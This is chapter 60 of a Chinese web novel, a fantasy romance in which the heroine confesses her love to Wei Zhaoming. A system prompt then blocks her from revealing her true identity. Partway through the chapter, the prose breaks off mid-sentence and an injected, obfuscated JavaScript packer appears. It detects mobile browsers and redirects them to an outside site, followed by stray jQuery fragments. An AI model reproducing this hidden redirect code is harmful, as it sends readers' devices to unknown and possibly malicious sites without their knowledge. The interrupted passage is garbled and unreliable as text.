60. 第 60 章

    卫昭明瞳孔骤缩,停止了思考。一阵温柔的风侵过眼眸,惹得他眼角泛红,荡起朦胧的湿意。


    他的嘴唇带着冷意,温热柔软的触感骤然袭来,一时间血液上涌,寒毒未消,整张脸却涨的通红炽热。


    风吹动耳边的细草,嫩草轻扫他的耳朵。


    桃花纷纷而落,停在她的发梢。


    还有一朵,恰好落在两人的唇间。


    风停草静,天地之间万籁俱寂。卫昭明几乎无法呼吸,体内叫嚣着虚弱,他却无法控制自己,本能地扬起头,手穿过她万千青丝,覆住她的后脑,抿着桃花更深地吻了上去。


    他头晕目眩,把自己毫无保留、完完全全地奉上。


    感受到他的主动,沈惊澜心跳漏了一拍,片刻失神后,一把把他推回去,手撑起身体,离开他的嘴唇。


    “你现在需要好好休息,不宜激动。”


    唇上的温度突然失去,卫昭明有些失落,眼神短暂的失焦。


    胸口强烈起伏,呼吸失了节奏,他深呼几口气,勉强让自己冷静,一开口,声音中的慌乱还是出卖了他:“你这是在做什么?”


    他强行压下心中马上要迸发出的喜悦,害怕这一切都是他中毒太深而产生的幻觉,亦或是同以前一样,并非出于真心,只是随口说说。


    喜悦之后是强烈的不安。


    今晚她太反常了。


    沈惊澜拂掉他唇上的花瓣,手指不小心触碰到温凉的唇。她眼神闪烁,带着朦胧迷离的酒气,酡红的脸上笑意盈盈,明媚皎皎如同天上月:


    “卫昭明,我喜欢你。”


    她直白地、毫不遮掩地看着他的眼睛,声音如泉水涌动。


    “之前是骗你的,这次是认真的。”


    夜空明月朗朗,河水清流脆响,天地自亘古起,万物自生时往,天地万物,卫昭明都感觉不到了,只觉得有什么东西涨满了胸口,马上就要溢出,自己的身体也要随着这涨满而飘然升起。


    “我不想你是因为我救你才如此,更不想你是因为昨晚的事而勉强。”


    沈惊澜“扑哧”一笑:“当然不会,你救我那么多次,我可曾因此而勉强过?”


    “至于昨晚的事嘛……”她一顿,“昨晚的事于我而言根本不算什么,我并不把女子的贞洁看成是什么了不得的事。况且那只是个意外,我们也没发生什么。”


    “其实自发现你送的我短剑剑柄中藏着块玉后,我就开始思考我与这里的关系。”


    “如我前面所说,我选择不抽离、不旁观,我不要做看戏的人,而要做戏中人,并且是能改变这场戏的人。”


    她不紧不慢地说出自己的想法:“这酒确实好淡,喝了这么多我还能说话。”


    卫昭明沉默片刻,捻下她发梢的花瓣,促狭一笑:“那你家乡的那些情郎怎么办?”


    “他们若是知道你另有情人,恐怕会伤心落泪,要你对他们负责呢。”


    “嘿嘿,”沈惊澜低头,鼻尖相对,近到能感受到彼此的吐息,“那也是我骗你的。”


    “你说我们萍水相逢,要与我桥归桥路归路。”


    他不依不饶。


    沈惊澜耐着性子:“今时不同往日。”


    卫昭明总觉得不踏实,太突然太不真切了,若这一切都是寒毒未消而产生的幻觉呢?


    他用力抓紧沈惊澜的手腕,直视她的眼眸。


    眼前的女子笑意盈盈:“怎么了?你这是什么表情?”


    “我怕这是一场梦。”


    为了进一步确认,卫昭明一只手半撑起身体,仰面吻上方才不舍得离去的柔软。


    少女的口中带着酒气,卫昭明起初只是浅尝辄止,不敢冒进,可酒气将他也醺醉,动作便开始放肆起来,轻柔辗转,摩挲不停。


    突然的攻势让沈惊澜一时难以招架,顺着卫昭明的动作轻拢慢捻,呼吸渐渐急促。


    酒精上头了。


    她开始晕晕乎乎,忘乎所以,托着卫昭明的身体让他借力,同时头更低了下去,加深了这个吻。


    身下的人身体在颤抖,气息渐渐不稳。


    沈惊澜撑起身坐了起来,猛吸几口气,暧昧旖旎的灼热消失,夜晚的凉风灌入鼻腔,让她恢复一些理智。


    “你需要休息。”


    卫昭明脱了力,任由沈惊澜把他拖到一棵树下放倒。


    “你现在面色苍白,冷汗淋淋,真怕你猝死。”


    沈惊澜掏出一方手帕,擦去他额头细密的汗珠。


    卫昭明不说话,只盯着她。


    “看我干嘛?”她被瞧得有些不好意思。


    “所以你今晚为何失落?”


    他还记着这茬儿呢。


    沈惊澜坐在他身旁:“没什么,遇到一点小挫折。”


    “你有许多事瞒着我们。”


    “是啊。”她坦然承认,到了这一步,除了穿书这件事,好像也没什么好隐瞒的了。


    她想了想措辞:“你不好奇我究竟为何要去莽山吗?”


    “莽山不是你的家乡。”从一开始他就怀疑,只是没有更好的解释,便不得不接受。


    “确实。”


    沈惊澜双手搭在膝上,手指交叠在一起,心脏扑通扑通跳得极重:“若我是你的敌人,你当如何?”


    卫昭明低眉轻笑:“你是想说你其实是妖吧?”


    他早就发现了?沈惊澜微怔。


    “阿兰,你破绽太多了。”


    “从船山遇到你时我便开始怀疑,你在地底妖海中受了那么重的伤,竟然能那么短的时间内恢复。”


    “你明明什么都没做,船山却将最后一丝力量传给你;在万州幻境,你能预知大河是破境的关键,甚至连谢清言都对你不同;于风对你施展变妖咒,你非但没死,反而化狐一跃成为大妖。”


    “你若不是妖,我想不到其他可能。”


    “可你身上没有妖气,我有想过你是大妖将妖气隐藏,厉害的大妖确实可以做到让我们难以察觉,可遇到危险时,你的害怕不是假的。”


    “那便只有一种可能,你是被迫失去了法力。”


    “你要去莽山,可是为了找回法力?”


    好家伙,她想说的话都快被他说完了。


    沈惊澜一早知道他们对她有怀疑,即便是卫昭明对自己情深意切,但怀疑未减分毫。


    只是没想到,他几乎都猜到了。


    “那你之前为何不杀了我?”


    卫昭明继续道:“最开始,的确是想杀你。”


    “那时师兄师姐愿意相信你,且你没有恶意,我遂留你一命,想看看你究竟有个图谋。”


    他说着无奈自嘲:“谁知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077318|169648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道竟对你动了情呢?”


    连他自己都不知道此情何起,也许是她说“你死了,我就回不了家了”“你必须要跟我一起去莽山”的时候;也许是进入幻境时,他误伤她,背着她走在冷月照亮的小路上,女子在他耳边轻声细语,问他怕不怕。


    总之他眼睁睁看着自己陷入其中,不想自救,只想把她一起拉下水。


    沈惊澜脸颊发烫,不好意思看他:“那你应该也知道我是谁了吧?”


    “嗯,你有时能未卜先知,有时还总说些莫名其妙的话,像是跟谁对话似的,你应当是某种吸收自然灵气孕育出来的妖,能预知未来。”他说出自己的推测。


    “不过既然能被人害的失去法力,想来不怎么厉害。”


    “……”沈惊澜看向他,表情有些尴尬,“那个,其实我是……”


    话没说完,系统的声音冷不丁响起:“【系统提示】:沈惊澜于莽山掉马属于关键主线剧情,请勿擅自改变,否则视为主线剧情任务失败。”


    “……”


    沈惊澜把“山都沈惊澜”这几个到了嘴边的字硬生生咽了下去。


    原著的沈惊澜给他下了毒,她已无力改变,既然占据了这副身体,便无法当作这一切都没发生过。


    好不容易鼓起勇气告诉卫昭明她的真实身份,想赌一把他是情深还是仇更深,结果居然被系统拦截。


    这本是最好的机会,二人敞开心扉,互诉衷情,本该把这一切都说清楚。


    “是什么?”卫昭明问。


    “其实你说得对,”沈惊澜避开他追问的目光,模棱两可道,“我是船山附近一座小山里的小妖怪,被奸人所害,流落至此,听说莽山有恢复法力的秘宝,故想去寻来复仇。”


    好在沈惊澜被少鹰所害一事几乎无人知晓,莽山镇着她的法力恐怕只有少鹰知道,否则马甲一掉,她立刻灰飞烟灭。


    只是这一次又骗了他。


    卫昭明动了动身子,挪到她身旁。


    沈惊澜恢复人身时□□,头发也凌乱不堪。她一贯手拙,自己梳的头发总是不成型,除了在幻境那晚帮她梳过一次,其余时候都是秦秋帮她梳的。


    白日里沈惊澜没心思梳头发,只撕了一缕布条简单绑了起来,方才动作一大,布条飘落,青丝一泻而下,覆住了大半后背。


    卫昭明捡起一枝还算规整的桃枝作簪子,手指从青丝中划过,帮她捋顺头发:“好,等到了莽山,我便陪你去找秘宝。”


    他仔细把头发分成上下两层,上层的头发扭成一个简单的发髻,再用桃枝轻轻簪上,然后手指把下层的头发梳顺。


    冰凉的指尖时不时触碰到沈惊澜的后背,又痒又麻。


    沈惊澜问:“那你该如何同你父亲交代?”


    “他是天下除妖师之首,肯定不会同意你与一个妖在一起。”


    卫昭明反问她:“若是我父亲不同意,你会如何?”


    沈惊澜想了想,转过身,看着他的眼睛认真道:“我会把你掳走。”


    这很像她的作风。


    卫昭明点点头,不假思索:“我会离开锦绣城,跟你回你的小山里。”


    “届时山河辽远,天地无垠,我们要一一见识一番。”


    “好。”


    沈惊澜眼中的光黯淡下去:“只是,也许不会长久。”